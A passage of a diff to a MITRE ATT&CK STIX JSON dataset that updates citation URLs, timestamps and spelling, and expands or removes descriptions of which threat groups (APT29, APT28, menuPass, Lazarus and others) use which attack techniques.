Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", "source_name": "McAfee Lazarus Resurfaces Feb 2018" }, @@ -40756,7 +42656,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "type": "relationship", - "modified": "2020-08-10T13:25:15.950Z", + "modified": "2020-12-11T17:47:22.573Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -40910,7 +42810,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", "type": "relationship", - "modified": "2020-09-16T15:10:18.380Z", + "modified": "2021-04-14T12:26:11.822Z", "created": "2017-05-31T21:33:27.026Z" }, { @@ -40964,7 +42864,7 @@ ], "external_references": [ { - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", "source_name": "McAfee Lazarus Resurfaces Feb 2018" } @@ -40973,30 +42873,9 @@ "relationship_type": "uses", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "type": "relationship", - "modified": "2020-03-16T19:26:29.316Z", + "modified": "2020-12-11T17:47:22.590Z", "created": "2018-04-18T17:59:24.739Z" }, - { - "id": "relationship--6dbb3a1e-5fb4-4494-950c-570616302ece", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", - "relationship_type": "uses", - "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "external_references": [ - { - "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf", - "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", - "source_name": "ClearSky Wilted Tulip July 2017" - } - ], - "description": "(Citation: ClearSky Wilted Tulip July 2017)", - "type": "relationship", - "modified": "2019-05-03T16:42:19.239Z", - "created": "2018-01-16T18:59:16.545Z" - }, { "id": "relationship--519c4c7f-8495-4b8a-b58e-551a78e469cc", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -41120,7 +42999,7 @@ { "id": "relationship--47f521b8-37e4-489d-b6eb-25f35de80aae", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has downloaded additional code and files from servers onto victims.(Citation: Unit 42 Magic Hound Feb 2017) [Magic Hound](https://attack.mitre.org/groups/G0059) used Wrapper/Gholee, custom-developed malware, which downloaded additional malware to the infected system.(Citation: Check Point Rocket Kitten)(Citation: Check Point Rocket Kitten)", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has downloaded additional code and files from servers onto victims.(Citation: Unit 42 Magic Hound Feb 2017) ", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -41129,23 +43008,13 @@ "source_name": "Unit 42 Magic Hound Feb 2017", "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/" - }, - { - "source_name": "Check Point Rocket Kitten", - "url": "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", - "description": "Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018." - }, - { - "source_name": "Check Point Rocket Kitten", - "url": "https://blog.checkpoint.com/wp-content/uploads/2015/11/rocket-kitten-report.pdf", - "description": "Check Point Software Technologies. (2015). ROCKET KITTEN: A CAMPAIGN WITH 9 LIVES. Retrieved March 16, 2018." } ], "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "relationship_type": "uses", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "type": "relationship", - "modified": "2020-07-04T22:55:43.533Z", + "modified": "2021-04-14T14:10:54.673Z", "created": "2018-01-16T16:13:52.465Z" }, { @@ -41351,14 +43220,14 @@ "target_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" } ], "description": "(Citation: Symantec Elderwood Sept 2012)", "type": "relationship", - "modified": "2019-03-22T20:15:19.491Z", + "modified": "2021-01-06T19:32:28.397Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -41570,14 +43439,14 @@ "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "description": "(Citation: NCC Group APT15 Alive and Strong)", "type": "relationship", - "modified": "2019-04-22T15:08:48.550Z", + "modified": "2021-03-29T19:54:46.071Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -41630,7 +43499,7 @@ { "id": "relationship--4696a49d-caa1-4746-b106-45faf327270b", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Matroyshka](https://attack.mitre.org/software/S0167) can establish persistence by adding Registry Run keys.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", + "description": "[Matryoshka](https://attack.mitre.org/software/S0167) can establish persistence by adding Registry Run keys.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -42018,7 +43887,7 @@ { "id": "relationship--3b4f48d3-eb5d-4d7e-9f0b-86f68951207d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[FinFisher](https://attack.mitre.org/software/S0182) hooks processes by modifying IAT pointers to CreateWindowEx.(Citation: FinFisher Citation)(Citation: Endgame Process Injection July 2017)", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) hooks processes by modifying IAT pointers to CreateWindowEx.(Citation: FinFisher Citation)(Citation: Elastic Process Injection July 2017)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -42031,14 +43900,14 @@ { "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Endgame Process Injection July 2017" + "source_name": "Elastic Process Injection July 2017" } ], "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", "relationship_type": "uses", "target_ref": "attack-pattern--f5946b5e-9408-485f-a7f7-b5efc88909b6", "type": "relationship", - "modified": "2019-08-12T17:30:07.328Z", + "modified": "2020-11-10T18:29:30.570Z", "created": "2018-01-16T16:13:52.465Z" }, { @@ -42232,16 +44101,16 @@ "source_name": "Villeneuve et al 2014" }, { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "type": "relationship", - "modified": "2019-04-22T15:08:48.273Z", + "modified": "2021-03-29T19:54:46.046Z", "created": "2017-05-31T21:33:27.033Z" }, { @@ -42454,14 +44323,14 @@ "target_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" } ], "description": "(Citation: Symantec Elderwood Sept 2012)", "type": "relationship", - "modified": "2019-03-22T20:15:19.515Z", + "modified": "2021-01-06T19:32:29.097Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -42474,7 +44343,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "type": "relationship", - "modified": "2020-03-26T21:12:49.330Z", + "modified": "2021-04-22T16:13:35.068Z", "created": "2017-05-31T21:33:27.024Z" }, { @@ -42926,7 +44795,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", "type": "relationship", - "modified": "2020-03-24T18:31:06.698Z", + "modified": "2021-04-14T14:22:44.561Z", "created": "2017-05-31T21:33:27.029Z" }, { @@ -43026,32 +44895,42 @@ { "id": "relationship--7f78df2e-e6e9-43f1-815b-58e4a10fc594", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[APT29](https://attack.mitre.org/groups/G0016) has used encoded PowerShell scripts uploaded to [CozyCar](https://attack.mitre.org/software/S0046) installations to download and install [SeaDuke](https://attack.mitre.org/software/S0053). [APT29](https://attack.mitre.org/groups/G0016) also used PowerShell scripts to evade defenses.(Citation: Symantec Seaduke 2015)(Citation: Mandiant No Easy Breach)(Citation: FireEye APT29 Nov 2018)", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used encoded PowerShell scripts uploaded to [CozyCar](https://attack.mitre.org/software/S0046) installations to download and install [SeaDuke](https://attack.mitre.org/software/S0053). [APT29](https://attack.mitre.org/groups/G0016) also used PowerShell to create new tasks on remote machines, identify configuration settings, evade defenses, exfiltrate data, and to execute other commands.(Citation: Volexity SolarWinds)(Citation: Microsoft Analyzing Solorigate Dec 2020).(Citation: Symantec Seaduke 2015)(Citation: Mandiant No Easy Breach)(Citation: FireEye APT29 Nov 2018)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ + { + "source_name": "Volexity SolarWinds", + "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/", + "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020." + }, + { + "source_name": "Microsoft Analyzing Solorigate Dec 2020", + "url": "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021." + }, { "source_name": "Symantec Seaduke 2015", "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" }, { - "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016", "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", - "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + "source_name": "Mandiant No Easy Breach" }, { - "source_name": "FireEye APT29 Nov 2018", + "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", - "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018." + "source_name": "FireEye APT29 Nov 2018" } ], "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "relationship_type": "uses", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "type": "relationship", - "modified": "2019-07-25T14:25:53.145Z", + "modified": "2021-04-16T20:29:18.409Z", "created": "2017-05-31T21:33:27.048Z" }, { @@ -43085,14 +44964,15 @@ "external_references": [ { "source_name": "DustySky", - "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016." + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" } ], "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", "relationship_type": "uses", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "type": "relationship", - "modified": "2020-05-14T15:14:33.562Z", + "modified": "2021-04-27T19:53:40.811Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -43308,7 +45188,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", "type": "relationship", - "modified": "2020-06-20T22:45:46.663Z", + "modified": "2021-02-09T15:07:01.024Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -43377,22 +45257,32 @@ { "id": "relationship--44273d72-b0d9-42ee-9e8e-53d1b39f0651", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used valid accounts shared between Managed Service Providers and clients to move between the two environments.(Citation: PWC Cloud Hopper April 2017)", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used valid accounts including shared between Managed Service Providers and clients to move between the two environments.(Citation: PWC Cloud Hopper April 2017)(Citation: Symantec Cicada November 2020)(Citation: District Court of NY APT10 Indictment December 2018)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", + "source_name": "PWC Cloud Hopper April 2017", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", - "source_name": "PWC Cloud Hopper April 2017" + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + }, + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." + }, + { + "source_name": "District Court of NY APT10 Indictment December 2018", + "url": "https://www.justice.gov/opa/page/file/1122671/download", + "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020." } ], "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "relationship_type": "uses", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "type": "relationship", - "modified": "2019-09-03T18:50:16.532Z", + "modified": "2020-12-17T20:06:39.746Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -43406,14 +45296,14 @@ "target_ref": "malware--48523614-309e-43bf-a2b8-705c2b45d7b2", "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" } ], "description": "(Citation: Symantec Elderwood Sept 2012)", "type": "relationship", - "modified": "2019-03-22T20:15:19.513Z", + "modified": "2021-01-06T19:32:29.109Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -43512,7 +45402,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a", "type": "relationship", - "modified": "2020-03-19T21:04:12.295Z", + "modified": "2021-02-09T15:13:27.819Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -43565,7 +45455,7 @@ { "id": "relationship--f3f122f1-998f-4079-afad-7a59e39f89b7", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[APT29](https://attack.mitre.org/groups/G0016) has used various forms of spearphishing attempting to get a user to open links or attachments, including, but not limited to, malicious Microsoft Word documents, .pdf, and .lnk files. (Citation: F-Secure The Dukes) (Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used various forms of spearphishing attempting to get a user to open attachments, including, but not limited to, malicious Microsoft Word documents, .pdf, and .lnk files. (Citation: F-Secure The Dukes) (Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -43590,7 +45480,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "type": "relationship", - "modified": "2020-10-09T16:07:58.903Z", + "modified": "2021-04-16T21:44:38.912Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -43711,27 +45601,6 @@ "modified": "2020-01-30T19:55:39.072Z", "created": "2017-05-31T21:33:27.025Z" }, - { - "id": "relationship--a6929a8b-e9b4-4122-8dd8-4030173346c9", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) uses a command-line interface to interact with systems.(Citation: Cobalt Strike TTPs Dec 2017)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf", - "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", - "source_name": "Cobalt Strike TTPs Dec 2017" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", - "type": "relationship", - "modified": "2020-03-17T19:11:12.454Z", - "created": "2018-01-16T16:13:52.465Z" - }, { "id": "relationship--c47b3759-8c59-45f7-8ae1-66b49a5359f8", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -43952,7 +45821,7 @@ { "id": "relationship--cd70a632-a961-4adb-aea9-9995ef8e2b54", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Matroyshka](https://attack.mitre.org/software/S0167) uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.(Citation: CopyKittens Nov 2015)", + "description": "[Matryoshka](https://attack.mitre.org/software/S0167) uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.(Citation: CopyKittens Nov 2015)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -44267,15 +46136,15 @@ { "id": "relationship--15bbd8e5-60ad-4906-8231-f92c231bb1ec", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[APT28](https://attack.mitre.org/groups/G0007) sent spearphishing emails containing malicious Microsoft Office attachments.(Citation: Unit 42 Sofacy Feb 2018)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: DOJ GRU Indictment Jul 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "description": "[APT28](https://attack.mitre.org/groups/G0007) sent spearphishing emails containing malicious Microsoft Office and RAR attachments.(Citation: Unit 42 Sofacy Feb 2018)(Citation: Sofacy DealersChoice)(Citation: Palo Alto Sofacy 06-2018)(Citation: DOJ GRU Indictment Jul 2018)(Citation: Securelist Sofacy Feb 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: TrendMicro Pawn Storm Dec 2020)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/", + "source_name": "Unit 42 Sofacy Feb 2018", "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", - "source_name": "Unit 42 Sofacy Feb 2018" + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" }, { "source_name": "Sofacy DealersChoice", @@ -44293,21 +46162,26 @@ "url": "https://www.justice.gov/file/1080281/download" }, { - "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "source_name": "Securelist Sofacy Feb 2018", "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/", - "source_name": "Securelist Sofacy Feb 2018" + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018." }, { "source_name": "Accenture SNAKEMACKEREL Nov 2018", "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019." + }, + { + "source_name": "TrendMicro Pawn Storm Dec 2020", + "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html", + "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021." } ], "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "relationship_type": "uses", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "type": "relationship", - "modified": "2020-03-20T16:37:05.939Z", + "modified": "2021-01-13T21:54:29.973Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -44383,7 +46257,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "type": "relationship", - "modified": "2020-10-21T01:34:53.424Z", + "modified": "2021-04-22T20:21:10.696Z", "created": "2017-05-31T21:33:27.019Z" }, { @@ -45913,7 +47787,7 @@ { "id": "relationship--337dc23f-d825-415d-886b-53c3457fbd56", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[APT29](https://attack.mitre.org/groups/G0016) has used WMI to establish persistence.(Citation: Mandiant No Easy Breach)(Citation: ESET Dukes October 2019)", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used WMI event subscriptions for persistence.(Citation: Mandiant No Easy Breach)(Citation: ESET Dukes October 2019)(Citation: Microsoft 365 Defender Solorigate)(Citation: Microsoft Deep Dive Solorigate January 2021)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -45927,13 +47801,23 @@ "source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020." + }, + { + "source_name": "Microsoft 365 Defender Solorigate", + "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", + "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." } ], "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "relationship_type": "uses", "target_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "type": "relationship", - "modified": "2020-10-09T16:07:58.938Z", + "modified": "2021-04-19T13:52:51.394Z", "created": "2017-05-31T21:33:27.049Z" }, { @@ -45949,27 +47833,6 @@ "modified": "2020-01-24T19:47:55.639Z", "created": "2017-05-31T21:33:27.018Z" }, - { - "id": "relationship--033d168d-8348-47ad-af48-d297dc0d1dbb", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can set its \"beacon\" payload to reach out to the C2 server on an arbitrary and random interval. In addition it will break large data sets into smaller chunks for exfiltration.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", - "type": "relationship", - "modified": "2019-06-06T19:04:39.186Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--a5888362-00f3-4c9e-98ee-048aee5169e1", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -45984,7 +47847,7 @@ "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" }, { - "url": "https://github.com/PowerShellEmpire/Empire", + "url": "https://github.com/EmpireProject/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire" } @@ -45993,7 +47856,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "type": "relationship", - "modified": "2019-04-25T12:09:56.232Z", + "modified": "2021-04-09T14:46:58.787Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -46313,7 +48176,7 @@ "source_name": "Novetta Blockbuster RATs" }, { - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", "source_name": "McAfee Lazarus Resurfaces Feb 2018" } @@ -46322,7 +48185,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "type": "relationship", - "modified": "2019-09-09T19:15:44.856Z", + "modified": "2020-12-11T17:47:22.659Z", "created": "2017-05-31T21:33:27.068Z" }, { @@ -46711,16 +48574,16 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", "type": "relationship", - "modified": "2020-03-17T16:25:03.905Z", + "modified": "2021-03-29T19:54:46.091Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -46739,27 +48602,32 @@ { "id": 